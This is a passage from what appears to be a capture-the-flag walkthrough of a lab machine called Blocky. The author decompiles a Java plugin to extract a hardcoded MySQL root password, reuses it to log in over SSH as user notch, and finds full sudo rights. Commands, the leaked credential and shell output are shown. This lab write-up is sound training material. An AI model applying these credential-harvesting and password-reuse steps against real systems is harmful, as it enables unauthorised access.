BlockyCore.class seemed like the only interesting file in the folders, so I went ahead and decompiled it to something readable.
$javap-cBlockyCore.class---SNIP---ubliccom.myfirstplugin.BlockyCore();Code:0:aload_01:invokespecial#12 // Method java/lang/Object."<init>":()V4:aload_05:ldc#14 // String localhost7:putfield#16 // Field sqlHost:Ljava/lang/String;10:aload_011:ldc#18 // String root13:putfield#20 // Field sqlUser:Ljava/lang/String;16:aload_017:ldc#22 // String 8YsqfCTnvxAUeduzjNSXe2219:putfield#24 // Field sqlPass:Ljava/lang/String;22:return---SNIP---
We got credentials for the mysql server root:8YsqfCTnvxAUeduzjNSXe22. These credentials did get me into the phpmyadmin interface of the server and help me fetch username notch from the wp_users list.
I tried cracking the password the user, however it was not part of the rockyou.txt wordlist so I let it be and continued with the username and passwords I had, to bruteforce my way into the SSH server.
$sshroot@10.10.10.37root@10.10.10.37's password: Permission denied, please try again.root@10.10.10.37'spassword:# Password combination didn't work for root, however it did# work for notch$sshnotch@10.10.10.37notch@10.10.10.37's password: Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage7 packages can be updated.7 updates are security updates.Last login: Mon Sep 30 07:40:07 2019 from 10.10.14.10notch@Blocky:~$ iduid=1000(notch) gid=1000(notch) groups=1000(notch),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)notch@Blocky:~$
I noticed that we had the password for the account as well as we were part of the sudo group so I went ahead and checked the permissions we had in sudoers.
notch@Blocky:~$sudo-lMatchingDefaultsentriesfornotchonBlocky:env_reset,mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUsernotchmayrunthefollowingcommandsonBlocky: (ALL:ALL) ALL
So we are essentially root, we can run ALL commands, as ALL users, on ALL hosts. This is game over.
Dense enumeration is the key while exploiting machines, I had nearly missed the trying the user notch with the password of root. Keeping a track of usernames and passwords is important while pen-testing.